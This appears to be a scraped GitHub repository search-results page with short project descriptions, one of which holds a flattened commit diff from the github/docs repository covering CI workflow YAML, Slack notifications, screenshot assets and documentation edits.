Found 362 repositories(showing 30)
ispras
Dedoc is a library (service) for automate documents parsing and bringing to a uniform format. It automatically extracts content, logical structure, tables, and meta information from textual electronic documents. (Parse document; Document content extraction; Logical structure extraction; PDF parser; Scanned document parser; DOCX parser; HTML parser
OSTEsayed
The OSTE meta scanner is a comprehensive web vulnerability scanner that combines multiple DAST scanners, including Nikto Scanner, ZAP, Nuclei, SkipFish, and Wapiti.
Sfedfcv
Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. BIN +27.6 KB assets/images/help/classroom/assignment-repository-ide-button-in-readme.png Binary file not shown. BIN +83.4 KB assets/images/help/classroom/assignments-assign-deadline.png Binary file not shown. BIN +32.4 KB assets/images/help/classroom/assignments-assignment-title.png Binary file not shown. BIN +27.7 KB assets/images/help/classroom/assignments-autograding-click-pencil-or-trash.png Binary file not shown. BIN +72 KB assets/images/help/classroom/assignments-choose-repository-visibility.png Binary file not shown. BIN +20.1 KB assets/images/help/classroom/assignments-click-continue-button.png Binary file not shown. BIN +23.7 KB assets/images/help/classroom/assignments-click-create-assignment-button.png Binary file not shown. BIN +76.4 KB assets/images/help/classroom/assignments-click-grading-and-feedback.png Binary file not shown. BIN +53.1 KB assets/images/help/classroom/assignments-click-new-assignment-button.png Binary file not shown. BIN +134 KB assets/images/help/classroom/assignments-click-online-ide.png Binary file not shown. BIN +77.8 KB assets/images/help/classroom/assignments-click-pencil.png Binary file not shown. BIN +18.8 KB assets/images/help/classroom/assignments-click-review-button.png Binary file not shown. BIN +20.6 KB assets/images/help/classroom/assignments-click-save-test-case-button.png Binary file not shown. BIN +121 KB assets/images/help/classroom/assignments-click-template-repository-in-list.png Binary file not shown. BIN +21.1 KB assets/images/help/classroom/assignments-click-update-assignment.png Binary file not shown. BIN +76.9 KB assets/images/help/classroom/assignments-click-view-ide.png Binary file not shown. BIN +96.5 KB assets/images/help/classroom/assignments-click-view-test.png Binary file not shown. BIN +71.3 KB assets/images/help/classroom/assignments-define-teams.png Binary file not shown. BIN +39.4 KB assets/images/help/classroom/assignments-enable-feedback-pull-requests.png Binary file not shown. BIN +40.4 KB assets/images/help/classroom/assignments-type-protected-file-paths.png Binary file not shown. BIN +330 KB assets/images/help/classroom/autograding-actions-logs.png Binary file not shown. BIN +187 KB assets/images/help/classroom/autograding-actions-tab.png Binary file not shown. BIN +94.9 KB assets/images/help/classroom/autograding-click-grading-method.png Diff not rendered. BIN +57.5 KB assets/images/help/classroom/autograding-click-pencil.png Diff not rendered. BIN +57.7 KB assets/images/help/classroom/autograding-click-trash.png Diff not rendered. BIN +168 KB assets/images/help/classroom/autograding-hero.png Diff not rendered. BIN +154 KB assets/images/help/classroom/classroom-add-students-to-your-roster.png Diff not rendered. BIN +166 KB assets/images/help/classroom/classroom-copy-credentials.png Diff not rendered. BIN +181 KB assets/images/help/classroom/classroom-hero.png Diff not rendered. BIN +48.3 KB assets/images/help/classroom/classroom-settings-click-connection-settings.png Diff not rendered. BIN +94 KB ...ges/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png Diff not rendered. BIN +148 KB assets/images/help/classroom/classroom-settings-click-lms.png Diff not rendered. BIN +149 KB assets/images/help/classroom/click-assignment-in-list.png Diff not rendered. BIN +52.3 KB assets/images/help/classroom/click-classroom-in-list.png Diff not rendered. BIN +49.5 KB assets/images/help/classroom/click-create-classroom-button.png Diff not rendered. BIN +30 KB assets/images/help/classroom/click-create-roster-button.png Diff not rendered. BIN +78.2 KB assets/images/help/classroom/click-delete-classroom-button.png Diff not rendered. BIN +60.8 KB ...images/help/classroom/click-import-from-a-learning-management-system-button.png Diff not rendered. BIN +51.9 KB assets/images/help/classroom/click-new-classroom-button.png Diff not rendered. BIN +83.4 KB assets/images/help/classroom/click-organization.png Diff not rendered. BIN +28.4 KB assets/images/help/classroom/click-settings.png Diff not rendered. BIN +29.7 KB assets/images/help/classroom/click-students.png Diff not rendered. BIN +60 KB assets/images/help/classroom/click-update-students-button.png Diff not rendered. BIN +127 KB assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png Diff not rendered. BIN +104 KB assets/images/help/classroom/delete-classroom-modal-with-warning.png Diff not rendered. BIN +264 KB assets/images/help/classroom/ide-makecode-arcade-version-control-button.png Diff not rendered. BIN +69.4 KB assets/images/help/classroom/ide-replit-version-control-button.png Diff not rendered. BIN +234 KB assets/images/help/classroom/lms-github-classroom-credentials.png Diff not rendered. BIN +955 KB assets/images/help/classroom/probot-settings.gif Diff not rendered. BIN +113 KB assets/images/help/classroom/roster-hero.png Diff not rendered. BIN +40.4 KB assets/images/help/classroom/settings-click-rename-classroom-button.png Diff not rendered. BIN +41 KB assets/images/help/classroom/settings-type-classroom-name.png Diff not rendered. BIN +140 KB assets/images/help/classroom/setup-click-authorize-github-classroom.png Diff not rendered. BIN +102 KB assets/images/help/classroom/setup-click-authorize-github.png Diff not rendered. BIN +163 KB assets/images/help/classroom/setup-click-grant.png Diff not rendered. BIN +324 KB assets/images/help/classroom/students-click-delete-roster-button-in-modal.png Diff not rendered. BIN +91.1 KB assets/images/help/classroom/students-click-delete-roster-button.png Diff not rendered. BIN +48.2 KB assets/images/help/classroom/type-classroom-name.png Diff not rendered. BIN +174 KB assets/images/help/classroom/type-or-upload-student-identifiers.png Diff not rendered. BIN +83.3 KB assets/images/help/classroom/use-drop-down-then-click-archive.png Diff not rendered. BIN +45.2 KB assets/images/help/classroom/use-drop-down-then-click-unarchive.png Diff not rendered. BIN +55.4 KB assets/images/help/discussions/choose-new-category.png Diff not rendered. BIN +56.8 KB assets/images/help/discussions/click-delete-and-move-button.png Diff not rendered. BIN +59.7 KB assets/images/help/discussions/click-delete-discussion.png Diff not rendered. BIN +65.3 KB assets/images/help/discussions/click-delete-for-category.png Diff not rendered. BIN +68.9 KB assets/images/help/discussions/click-delete-this-discussion-button.png Diff not rendered. BIN +353 KB assets/images/help/discussions/click-discussion-in-list.png Diff not rendered. BIN +41 KB assets/images/help/discussions/click-edit-categories.png Diff not rendered. BIN +64.3 KB assets/images/help/discussions/click-edit-for-category.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-edit-pinned-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-new-category-button.png Diff not rendered. BIN +98.2 KB assets/images/help/discussions/click-pin-discussion-button.png Diff not rendered. BIN +55.7 KB assets/images/help/discussions/click-pin-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-save.png Diff not rendered. BIN +59.9 KB assets/images/help/discussions/click-transfer-discussion-button.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-transfer-discussion.png Diff not rendered. BIN +63.3 KB assets/images/help/discussions/click-unpin-discussion-button.png Diff not rendered. BIN +59.8 KB assets/images/help/discussions/click-unpin-discussion.png Diff not rendered. BIN +140 KB assets/images/help/discussions/comment-mark-as-answer-button.png Diff not rendered. BIN +136 KB assets/images/help/discussions/comment-marked-as-answer.png Diff not rendered. BIN +234 KB assets/images/help/discussions/customize-pinned-discussion.png Diff not rendered. BIN +1.21 MB assets/images/help/discussions/discussons-hero.png Diff not rendered. BIN +139 KB assets/images/help/discussions/edit-category-details.png Diff not rendered. BIN +136 KB assets/images/help/discussions/edit-existing-category-details.png Diff not rendered. BIN +55.5 KB assets/images/help/discussions/existing-category-click-save-changes-button.png Diff not rendered. BIN +680 KB assets/images/help/discussions/hero.png Diff not rendered. BIN +307 KB assets/images/help/discussions/most-helpful.png Diff not rendered. BIN +52.9 KB assets/images/help/discussions/new-category-click-create-button.png Diff not rendered. BIN +132 KB assets/images/help/discussions/new-discussion-button.png Diff not rendered. BIN +140 KB assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png Diff not rendered. BIN +46.7 KB assets/images/help/discussions/new-discussion-start-discussion-button.png Diff not rendered. BIN +108 KB assets/images/help/discussions/new-discussion-title-and-body-fields.png Diff not rendered. BIN +23.1 KB assets/images/help/discussions/public-repo-settings.png Diff not rendered. BIN +49.5 KB assets/images/help/discussions/repository-discussions-tab.png Diff not rendered. BIN +51.8 KB assets/images/help/discussions/search-and-filter-controls.png Diff not rendered. BIN +44.4 KB assets/images/help/discussions/search-result.png Diff not rendered. BIN +35.4 KB assets/images/help/discussions/select-discussions-checkbox.png Diff not rendered. BIN +44.8 KB assets/images/help/discussions/setup-discussions-button.png Diff not rendered. BIN +95.9 KB assets/images/help/discussions/toggle-allow-users-with-read-access-checkbox.png Diff not rendered. BIN +73 KB assets/images/help/discussions/unanswered-discussion.png Diff not rendered. BIN +81.3 KB assets/images/help/discussions/use-choose-a-repository-drop-down.png Diff not rendered. BIN +30.3 KB assets/images/help/discussions/your-discussions.png Diff not rendered. BIN +563 KB assets/images/help/education/click-get-teacher-benefits.png Diff not rendered. BIN +116 KB assets/images/help/images/overview-actions-result-navigate.png Diff not rendered. BIN +150 KB assets/images/help/images/overview-actions-result-updated-2.png Diff not rendered. BIN +128 KB assets/images/help/images/workflow-graph-job.png Diff not rendered. BIN +135 KB assets/images/help/images/workflow-graph.png Diff not rendered. BIN +5.46 KB assets/images/help/organizations/update-profile-button.png Diff not rendered. BIN +44.6 KB assets/images/help/pull_requests/dependency-review-rich-diff.png Diff not rendered. BIN +24.6 KB assets/images/help/pull_requests/dependency-review-source-diff.png Diff not rendered. BIN +214 KB assets/images/help/pull_requests/dependency-review-vulnerability.png Diff not rendered. BIN +105 KB assets/images/help/pull_requests/file-filter-menu-json.png Diff not rendered. BIN +22.5 KB (510%) assets/images/help/pull_requests/pull-request-tabs-changed-files.png Diff not rendered. BIN +45.2 KB assets/images/help/repository/actions-delete-artifact-updated.png Diff not rendered. BIN +122 KB assets/images/help/repository/actions-failed-pester-test-updated.png Diff not rendered. BIN +45.4 KB assets/images/help/repository/artifact-drop-down-updated.png Diff not rendered. BIN +54.5 KB assets/images/help/repository/cancel-check-suite-updated.png Diff not rendered. BIN +120 KB assets/images/help/repository/copy-link-button-updated-2.png Diff not rendered. BIN +77.6 KB assets/images/help/repository/delete-all-logs-updated-2.png Diff not rendered. BIN +326 KB assets/images/help/repository/docker-action-workflow-run-updated.png Diff not rendered. BIN +84.6 KB assets/images/help/repository/download-logs-drop-down-updated-2.png Diff not rendered. BIN +170 KB assets/images/help/repository/in-progress-run.png Diff not rendered. BIN +124 KB assets/images/help/repository/javascript-action-workflow-run-updated-2.png Diff not rendered. BIN +116 KB assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png Diff not rendered. BIN +80.8 KB assets/images/help/repository/rerun-checks-drop-down-updated.png Diff not rendered. BIN +41.2 KB assets/images/help/repository/search-log-box-updated-2.png Diff not rendered. BIN +133 KB assets/images/help/repository/super-linter-workflow-results-updated-2.png Diff not rendered. BIN +97.5 KB assets/images/help/repository/superlinter-lint-code-base-job-updated.png Diff not rendered. BIN -128 KB assets/images/help/repository/upload-build-test-artifact.png Diff not rendered. BIN +27.5 KB (170%) assets/images/help/repository/view-run-billable-time.png Diff not rendered. BIN +54.8 KB assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png Diff not rendered. BIN +7.54 KB assets/images/help/settings/appearance-tab.png Diff not rendered. BIN +39.7 KB assets/images/help/settings/theme-settings-radio-buttons.png Diff not rendered. BIN +11.1 KB assets/images/help/settings/update-theme-preference-button.png Diff not rendered. BIN +22.5 KB assets/images/help/sponsors/billing-account-switcher.png Diff not rendered. BIN +6.37 KB (150%) assets/images/help/sponsors/edit-sponsorship-payment-button.png Diff not rendered. BIN +34.8 KB assets/images/help/sponsors/link-account-button.png Diff not rendered. BIN +12.8 KB (170%) assets/images/help/sponsors/manage-your-sponsorship-button.png Diff not rendered. BIN +20.6 KB assets/images/help/sponsors/organization-update-email-textbox.png Diff not rendered. BIN +13.5 KB assets/images/help/sponsors/pay-prorated-amount-link.png Diff not rendered. BIN +34.7 KB assets/images/help/sponsors/select-an-account-drop-down.png Diff not rendered. BIN +17 KB assets/images/help/sponsors/sponsor-as-drop-down-menu.png Diff not rendered. BIN +15.8 KB assets/images/help/sponsors/sponsoring-as-drop-down-menu.png Diff not rendered. BIN +16.1 KB assets/images/help/sponsors/sponsoring-settings-button.png Diff not rendered. BIN +29.5 KB assets/images/help/sponsors/sponsoring-tab.png Diff not rendered. BIN +7.91 KB assets/images/help/sponsors/update-checkbox-manage.png Diff not rendered. BIN +43 KB (160%) assets/images/marketplace/marketplace-request-button.png Diff not rendered. BIN +53.6 KB assets/images/marketplace/marketplace_verified_creator_badges_apps.png Diff not rendered. 6 content/actions/creating-actions/creating-a-docker-container-action.md @@ -226,6 +226,10 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% elsif currentVersion ver_gt "enterprise-server@2.22" %}  {% else %}  4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ```  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data  1. Under "Workflow runs", click the name of the run you want to see.  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see.  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. View the results of each step.  {% elsif currentVersion ver_gt "enterprise-server@2.22" %} 1. Click on the job name to see the results of each step.  {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.  1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.  1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down 